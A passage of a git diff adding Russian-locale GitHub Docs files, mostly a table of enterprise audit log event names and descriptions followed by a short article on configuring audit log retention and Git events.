runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | The runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_updated` | The runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.staff_unlock` | An enterprise administrator or GitHub staff (with permission from a repository administrator) temporarily unlocked the repository. +| `repo.transfer` | A user accepted a request to receive a transferred repository. +| `repo.transfer_outgoing` | A repository was transferred to another repository network. +| `repo.transfer_start` | A user sent a request to transfer a repository to another user or organization. +| `repo.unarchived` | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)." +| `repo.update_actions_settings` | A repository administrator changed {% data variables.product.prodname_actions %} policy settings for a repository. +| `repo.update_actions_secret` | A {% data variables.product.prodname_actions %} secret was updated. +| `repo.update_actions_access_settings` | The setting to control how a repository was used by {% data variables.product.prodname_actions %} workflows in other repositories was changed. +| `repo.update_default_branch` | The default branch for a repository was changed. +| `repo.update_integration_secret` | A {% data variables.product.prodname_dependabot %} or {% data variables.product.prodname_github_codespaces %} integration secret was updated for a repository. +| `repo.update_member` | A user's permission to a repository was changed. + +{%- ifversion fpt or ghec %} +## `repository_advisory` category actions + +| Action | Description +|--------|------------- +| `repository_advisory.close` | Someone closed a security advisory. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| `repository_advisory.cve_request` | Someone requested a CVE (Common Vulnerabilities and Exposures) number from {% data variables.product.prodname_dotcom %} for a draft security advisory. +| `repository_advisory.github_broadcast` | {% data variables.product.prodname_dotcom %} made a security advisory public in the {% data variables.product.prodname_advisory_database %}. +| `repository_advisory.github_withdraw` | {% data variables.product.prodname_dotcom %} withdrew a security advisory that was published in error. +| `repository_advisory.open` | Someone opened a draft security advisory. +| `repository_advisory.publish` | Someone publishes a security advisory. +| `repository_advisory.reopen` | Someone reopened as draft security advisory. +| `repository_advisory.update` | Someone edited a draft or published security advisory. + +## `repository_content_analysis` category actions + +| Action | Description +|--------|------------- +| `repository_content_analysis.enable` | An organization owner or repository administrator [enabled data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository). +| `repository_content_analysis.disable` | An organization owner or repository administrator [disabled data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository). + +## `repository_dependency_graph` category actions + +| Action | Description +|--------|------------- +| `repository_dependency_graph.disable` | A repository owner or administrator disabled the dependency graph for a private repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +| `repository_dependency_graph.enable` | A repository owner or administrator enabled the dependency graph for a private repository. +{%- endif %} + +## `repository_image` category actions + +| Action | Description +|--------|------------- +| `repository_image.create` | An image to represent a repository was uploaded. +| `repository_image.destroy` | An image to represent a repository was deleted. + +## `repository_invitation` category actions + +| Action | Description +|--------|------------- +| `repository_invitation.accept` | An invitation to join a repository was accepted. +| `repository_invitation.create` | An invitation to join a repository was sent. +| `repository_invitation.reject` | An invitation to join a repository was canceled. + +## `repository_projects_change` category actions + +| Action | Description +|--------|------------- +| `repository_projects_change.clear` | The repository projects policy was removed for an organization, or all organizations in the enterprise. Organization admins can now control their repository projects settings. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise)." +| `repository_projects_change.disable` | Repository projects were disabled for a repository, all repositories in an organization, or all organizations in an enterprise. +| `repository_projects_change.enable` | Repository projects were enabled for a repository, all repositories in an organization, or all organizations in an enterprise. + +{%- ifversion ghec or ghes or ghae %} +## `repository_secret_scanning` category actions + +| Action | Description +|--------|------------- +| `repository_secret_scanning.disable` | A repository owner or administrator disabled secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `repository_secret_scanning.enable` | A repository owner or administrator enabled secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository. +{%- endif %} + +{%- ifversion secret-scanning-audit-log-custom-patterns %} + +## `repository_secret_scanning_custom_pattern` category actions + +| Action | Description +|------------------|------------------- +| `repository_secret_scanning_custom_pattern.create` | A custom pattern is published for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository)." +| `repository_secret_scanning_custom_pattern.delete` | A custom pattern is removed from secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)." +| `repository_secret_scanning_custom_pattern.update` | Changes to a custom pattern are saved for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)." + +## `repository_secret_scanning_push_protection` category actions + +| Action | Description +|------------------|------------------- +| `repository_secret_scanning_push_protection.disable` | A repository owner or administrator disabled secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +| `repository_secret_scanning_push_protection.enable` | A repository owner or administrator enabled secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +{%- endif %} +## `repository_visibility_change` category actions + +| Action | Description +|--------|------------- +| `repository_visibility_change.clear` | The repository visibility change setting was cleared for an organization or enterprise. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)" and "[Enforcing a policy for changes to repository visibility](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-changes-to-repository-visibility) for an enterprise." +| `repository_visibility_change.disable` | The ability for enterprise members to update a repository's visibility was disabled. Members are unable to change repository visibilities in an organization, or all organizations in an enterprise. +| `repository_visibility_change.enable` | The ability for enterprise members to update a repository's visibility was enabled. Members are able to change repository visibilities in an organization, or all organizations in an enterprise. + +## `repository_vulnerability_alert` category actions + +| Action | Description +|--------|------------- +| `repository_vulnerability_alert.create` | {% data variables.product.product_name %} created a {% data variables.product.prodname_dependabot %} alert for a repository that uses an insecure dependency. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)." +| `repository_vulnerability_alert.dismiss` | An organization owner or repository administrator dismissed a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}. +| `repository_vulnerability_alert.resolve` | Someone with write access to a repository pushed changes to update and resolve a {% data variables.product.prodname_dependabot %} alert in a project dependency. + +{%- ifversion fpt or ghec %} +## `repository_vulnerability_alerts` category actions + +| Action | Description +|--------|------------- +| `repository_vulnerability_alerts.authorized_users_teams` | An organization owner or repository administrator updated the list of people or teams authorized to receive {% data variables.product.prodname_dependabot_alerts %} for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." +| `repository_vulnerability_alerts.disable` | A repository owner or repository administrator disabled {% data variables.product.prodname_dependabot_alerts %}. +| `repository_vulnerability_alerts.enable` | A repository owner or repository administrator enabled {% data variables.product.prodname_dependabot_alerts %}. +{%- endif %} + +## `required_status_check` category actions + +| Action | Description +|--------|------------- +| `required_status_check.create` | A status check was marked as required for a protected branch. For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)." +| `required_status_check.destroy` | A status check was no longer marked as required for a protected branch. For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)." + +{%- ifversion ghec or ghes %} +## `restrict_notification_delivery` category actions + +| Action | Description +|--------|------------- +| `restrict_notification_delivery.enable` | Email notification restrictions for an organization or enterprise were enabled. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)" and "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." +| `restrict_notification_delivery.disable` | Email notification restrictions for an organization or enterprise were disabled. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)" and "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." +{%- endif %} + +{%- ifversion custom-repository-roles %} +## `role` category actions + +| Action | Description +|--------|------------- +|`create` | An organization owner created a new custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`destroy` | An organization owner deleted a custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`update` | An organization owner edited an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +{%- endif %} + +{%- ifversion ghec or ghes or ghae %} +## `secret_scanning` category actions + +| Action | Description +|--------|------------- +| `secret_scanning.disable` | An organization owner disabled secret scanning for all existing{% ifversion ghec %} private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `secret_scanning.enable` | An organization owner enabled secret scanning for all existing{% ifversion ghec %} private or internal{% endif %} repositories. + +{% ifversion secret-scanning-alert-audit-log %} +## `secret_scanning_alert` category actions + +| Action | Description +|------------------|------------------- +| `secret_scanning_alert.create` | {% data variables.product.prodname_dotcom %} detected a secret and created a {% data variables.product.prodname_secret_scanning %} alert. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/managing-alerts-from-secret-scanning)." +| `secret_scanning_alert.reopen` | A user reopened a {% data variables.product.prodname_secret_scanning %} alert. +| `secret_scanning_alert.resolve` | A user resolved a {% data variables.product.prodname_secret_scanning %} alert. +{% endif %} + +## `secret_scanning_new_repos` category actions + +| Action | Description +|--------|------------- +| `secret_scanning_new_repos.disable` | An organization owner disabled secret scanning for all new{% ifversion ghec %} private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `secret_scanning_new_repos.enable` | An organization owner enabled secret scanning for all new{% ifversion ghec %} private or internal{% endif %} repositories. +{%- endif %} + +{% ifversion secret-scanning-push-protection-bypasses %} +## `secret_scanning_push_protection` category actions + +| Action | Description +|--------|------------- +| `bypass` | Triggered when a user bypasses the push protection on a secret detected by secret scanning. For more information, see "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)."{% endif %} + +{%- ifversion ghec or ghes or ghae %} +## `security_key` category actions + +| Action | Description +|--------|------------- +| `security_key.register` | A security key was registered for an account. +| `security_key.remove` | A security key was removed from an account. +{%- endif %} + +{%- ifversion fpt or ghec %} +## `sponsors` category actions + +| Action | Description +|--------|------------- +| `sponsors.agreement_sign` | A {% data variables.product.prodname_sponsors %} agreement was signed on behalf of an organization. +| `sponsors.custom_amount_settings_change` | Custom amounts for {% data variables.product.prodname_sponsors %} were enabled or disabled, or the suggested custom amount was changed. For more information, see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)." +| `sponsors.fiscal_host_change` | The fiscal host for a {% data variables.product.prodname_sponsors %} listing was updated. +| `sponsors.withdraw_agreement_signature` | A signature was withdrawn from a {% data variables.product.prodname_sponsors %} agreement that applies to an organization. +| `sponsors.repo_funding_links_file_action` | The FUNDING file in a repository was changed. For more information, see "[Displaying a sponsor button in your repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository)." +| `sponsors.sponsor_sponsorship_cancel` | A sponsorship was canceled. For more information, see "[Downgrading a sponsorship](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship)." +| `sponsors.sponsor_sponsorship_create` | A sponsorship was created, by sponsoring an account. For more information, see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)." +| `sponsors.sponsor_sponsorship_payment_complete` | After you sponsor an account and a payment has been processed, the sponsorship payment was marked as complete. For more information, see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)." +| `sponsors.sponsor_sponsorship_preference_change` | The option to receive email updates from a sponsored account was changed. For more information, see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)." +| `sponsors.sponsor_sponsorship_tier_change` | A sponsorship was upgraded or downgraded. For more information, see "[Upgrading a sponsorship](/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship)." +| `sponsors.sponsored_developer_approve` | A {% data variables.product.prodname_sponsors %} account was approved. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." +| `sponsors.sponsored_developer_create` | A {% data variables.product.prodname_sponsors %} account was created. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." +| `sponsors.sponsored_developer_disable` | A {% data variables.product.prodname_sponsors %} account was disabled. +| `sponsors.sponsored_developer_profile_update` | You edit a sponsored organization profile. For more information, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)." +| `sponsors.sponsored_developer_redraft` | A {% data variables.product.prodname_sponsors %} account was returned to draft state from approved state. +| `sponsors.sponsored_developer_request_approval` | An application for {% data variables.product.prodname_sponsors %} was submitted for approval. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." +| `sponsors.sponsored_developer_tier_description_update` | The description for a sponsorship tier was changed. For more information, see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)." +| `sponsors.update_tier_welcome_message` | The welcome message for a {% data variables.product.prodname_sponsors %} tier for an organization was updated. +| `sponsors.update_tier_repository` | A {% data variables.product.prodname_sponsors %} tier changed access for a repository. +{%- endif %} + +{%- ifversion ghec or ghes or ghae %} +## `ssh_certificate_authority` category actions + +| Action | Description +|--------|------------- +| `ssh_certificate_authority.create` | An SSH certificate authority for an organization or enterprise was created. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." +| `ssh_certificate_authority.destroy` | An SSH certificate authority for an organization or enterprise was deleted. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." + +## `ssh_certificate_requirement` category actions + +| Action | Description +|--------|------------- +| `ssh_certificate_requirement.enable` | The requirement for members to use SSH certificates to access an organization resources was enabled. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." +| `ssh_certificate_requirement.disable` | The requirement for members to use SSH certificates to access an organization resources was disabled. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." +{%- endif %} + +## `staff` category actions + +| Action | Description +|--------|------------- +| `staff.disable_repo` | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator disabled access to a repository and all of its forks. +| `staff.enable_repo` | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator re-enabled access to a repository and all of its forks. +{%- ifversion ghes or ghae %} +| `staff.exit_fake_login` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} ended an impersonation session on {% data variables.product.product_name %}. +| `staff.fake_login` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} signed into {% data variables.product.product_name %} as another user. +{%- endif %} +| `staff.repo_lock` | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator locked (temporarily gained full access to) a user's private repository. +| `staff.repo_unlock` | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator unlocked (ended their temporary access to) a user's private repository. +{%- ifversion ghes %} +| `staff.search_audit_log` | A site administrator performed a search of the site admin audit log. +{%- endif %} +| `staff.set_domain_token_expiration` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff set the verification code expiry time for an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %} +{%- ifversion ghes %} +| `staff.unlock` | A site administrator unlocked (temporarily gained full access to) all of a user's private repositories. +{%- endif %} +| `staff.unverify_domain` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff unverified an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %} +| `staff.verify_domain` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff verified an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %} +{%- ifversion ghes %} +| `staff.view_audit_log` | A site administrator viewed the site admin audit log. +{%- endif %} + +## `team` category actions + +| Action | Description +|--------|------------- +| `team.add_member` | A member of an organization was added to a team. For more information, see "[Adding organization members to a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)." +| `team.add_repository` | A team was given access and permissions to a repository. +| `team.change_parent_team` | A child team was created or a child team's parent was changed. For more information, see "[Moving a team in your organization’s hierarchy](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy)." +| `team.change_privacy` | A team's privacy level was changed. For more information, see "[Changing team visibility](/organizations/organizing-members-into-teams/changing-team-visibility)." +| `team.create` | A user account or repository was added to a team. +| `team.delete` | A user account or repository was removed from a team. +| `team.destroy` | A team was deleted. +{%- ifversion ghec or ghes or ghae %} +| `team.demote_maintainer` | A user was demoted from a team maintainer to a team member. +| `team.promote_maintainer` | A user was promoted from a team member to a team maintainer. For more information, see "[Promoting an organization member to team maintainer](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member#promoting-an-organization-member-to-team-maintainer)." +{%- endif %} +| `team.remove_member` | A member of an organization was removed from a team. For more information, see "[Removing organization members from a team](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team)." +| `team.remove_repository` | A repository was no longer under a team's control. +| `team.rename` | A team's name was changed. +| `team.update_permission` | A team's access was changed. +| `team.update_repository_permission` | A team's permission to a repository was changed. + +## `team_discussions` category actions + +| Action | Description +|--------|------------- +| `team_discussions.clear` | An organization owner cleared the setting to allow team discussions for an organization or enterprise. +| `team_discussions.disable` | An organization owner disabled team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization)." +| `team_discussions.enable` | An organization owner enabled team discussions for an organization. + +{%- ifversion ghec %} +## `team_sync_tenant` category actions + +| Action | Description +|--------|------------- +| `team_sync_tenant.disabled` | Team synchronization with a tenant was disabled. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +| `team_sync_tenant.enabled` | Team synchronization with a tenant was enabled. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +| `team_sync_tenant.update_okta_credentials` | The Okta credentials for team synchronization with a tenant were changed. +{%- endif %} + +{%- ifversion fpt or ghes %} +## `two_factor_authentication` category actions + +| Action | Description +|--------|------------- +| `two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account. +| `two_factor_authentication.enabled` | [Two-factor authentication][2fa] was enabled for a user account. +| `two_factor_authentication.password_reset_fallback_sms` | A one-time password code was sent to a user account fallback phone number. +| `two_factor_authentication.recovery_codes_regenerated` | Two factor recovery codes were regenerated for a user account. +| `two_factor_authentication.sign_in_fallback_sms` | A one-time password code was sent to a user account fallback phone number. +| `two_factor_authentication.update_fallback` | The two-factor authentication fallback for a user account was changed. +{%- endif %} + + [2fa]: /authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication + +{%- ifversion fpt or ghes or ghae %} +## `user` category actions + +| Action | Description +|--------|------------- +| `user.add_email` | An email address was added to a user account. +| `user.async_delete` | An asynchronous job was started to destroy a user account, eventually triggering a `user.delete` event. +| `user.audit_log_export` | Audit log entries were exported. +| `user.block_user` | A user was blocked by another user{% ifversion ghes %} or a site administrator{% endif %}. +| `user.change_password` | A user changed his or her password. +| `user.create` | A new user account was created. +| `user.creation_rate_limit_exceeded` | The rate of creation of user accounts, applications, issues, pull requests or other resources exceeded the configured rate limits, or too many users were followed too quickly. +| `user.delete` | A user account was destroyed by an asynchronous job. +{%- ifversion ghes %} +| `user.demote` | A site administrator was demoted to an ordinary user account. +{%- endif %} +| `user.destroy` | A user deleted his or her account, triggering `user.async_delete`. +| `user.failed_login` | A user tries to sign in with an incorrect username, password, or two-factor authentication code. +| `user.flag_as_large_scale_contributor` | A user account was flagged as a large scale contributor. Only contributions from public repositories the user owns will be shown in their contribution graph, in order to prevent timeouts. +| `user.forgot_password` | A user requested a password reset via the sign-in page. +| `user.hide_private_contributions_count` | A user changed the visibility of their private contributions. The number of contributions to private repositories on the user's profile are now hidden. For more information, see "[Publicizing or hiding your private contributions on your profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile)." +| `user.lockout` | A user was locked out of their account. +| `user.login` | A user signed in. +{%- ifversion ghes or ghae %} +| `user.mandatory_message_viewed` | A user viewed a mandatory message. For more information see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise)" for details." +{%- endif %} +| `user.minimize_comment` | A comment made by a user was minimized. +{%- ifversion ghes %} +| `user.promote` | An ordinary user account was promoted to a site administrator. +{%- endif %} +| `user.recreate` | A user's account was restored. +| `user.remove_email` | An email address was removed from a user account. +| `user.remove_large_scale_contributor_flag` | A user account was no longer flagged as a large scale contributor. +| `user.rename` | A username was changed. +| `user.reset_password` | A user reset their account password. +| `user.show_private_contributions_count` | A user changed the visibility of their private contributions. The number of contributions to private repositories on the user's profile are now shown. For more information, see "[Publicizing or hiding your private contributions on your profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile)." +| `user.sign_in_from_unrecognized_device` | A user signed in from an unrecognized device. +| `user.sign_in_from_unrecognized_device_and_location` | A user signed in from an unrecognized device and location. +| `user.sign_in_from_unrecognized_location` | A user signed in from an unrecognized location. +| `user.suspend` | A user account was suspended by an enterprise owner {% ifversion ghes %} or site administrator{% endif %}. +| `user.two_factor_challenge_failure` | A 2FA challenge issued for a user account failed. +| `user.two_factor_challenge_success` | A 2FA challenge issued for a user account succeeded. +| `user.two_factor_recover` | A user used their 2FA recovery codes. +| `user.two_factor_recovery_codes_downloaded` | A user downloaded 2FA recovery codes for their account. +| `user.two_factor_recovery_codes_printed` | A user printed 2FA recovery codes for their account. +| `user.two_factor_recovery_codes_viewed` | A user viewed 2FA recovery codes for their account. +| `user.two_factor_requested` | A user was prompted for a two-factor authentication code. +| `user.unblock_user` | A user was unblocked another user{% ifversion ghes %} or a site administrator{% endif %}. +| `user.unminimize_comment` | A comment made by a user was unminimized. +| `user.unsuspend` | A user account was unsuspended by an enterprise owner {% ifversion ghes %} or site administrator{% endif %}. +{%- endif %} + +{%- ifversion ghec or ghes %} +## `user_license` category actions + +| Action | Description +|--------|------------- +| `user_license.create` | A seat license for a user in an enterprise was created. +| `user_license.destroy` | A seat license for a user in an enterprise was deleted. +| `user_license.update` | A seat license type for a user in an enterprise was changed. +{%- endif %} + +## `workflows` category actions + +{% data reusables.audit_log.audit-log-events-workflows %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..ba1f7bf416db --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md @@ -0,0 +1,54 @@ +--- +title: Настройка журнала аудита для предприятия +intro: Вы можете настроить параметры для журнала аудита предприятия. +shortTitle: Configure audit logs +permissions: Enterprise owners can configure the audit log. +versions: + feature: audit-data-retention-tab +type: how_to +topics: + - Auditing + - Enterprise + - Logging +ms.openlocfilehash: f624607d5729d32d836efedf1fa355a96489a175 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106568' +--- +## Сведения о конфигурации журнала аудита + +Вы можете настроить период хранения для данных журнала аудита и просмотреть сведения о хранилище индекса. + +{% ifversion enable-git-events %} После настройки периода хранения можно включить или отключить события, связанные с Git, отобразив их в журнале аудита. +{% endif %} + +## Настройка периода хранения для данных журнала аудита + +Вы можете настроить период хранения для данных журнала аудита для {% data variables.location.product_location %}. Данные, превышающие настроенный период, будут окончательно удалены с диска. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %} +1. В разделе "Настройка параметров хранения журнала аудита" щелкните раскрывающееся меню и выберите период хранения. + + ![Снимок экрана: раскрывающееся меню для параметров хранения журнала аудита](/assets/images/help/enterprises/audit-log-retention-dropdown.png) +1. Выберите команду **Сохранить**. + +{% ifversion enable-git-events %} +## Управление событиями Git в журнале аудита + +Вы можете включать или отключать отображение в журнале аудита событий, связанных с Git, например `git.clone` и `git.push`. Список событий Git, которые записываются в журнал, см. в разделе [События журнала аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions). + +Если вы включите события Git, из-за большого их количества мы рекомендуем отслеживать хранилище файлов экземпляра и просматривать связанные конфигурации оповещений. Дополнительные сведения см. в статье [Мониторинг хранилища](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage). + +Перед включением событий Git в журнале аудита необходимо настроить период хранения для данных журнала аудита, отличных от неограниченного. Дополнительные сведения см. в разделе [Настройка срока хранения для данных журнала аудита](#configuring-a-retention-period-for-audit-log-data). + +{% data reusables.audit_log.git-events-not-in-search-results %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %} +1. В разделе "Согласие на событие Git" выберите или снимите флажок **Включить события Git в журнале аудита**. + + ![Снимок экрана: флажок для включения событий Git в журнале аудита](/assets/images/help/enterprises/enable-git-events-checkbox.png) +1. Выберите команду **Сохранить**. + +{% endif %} diff --git 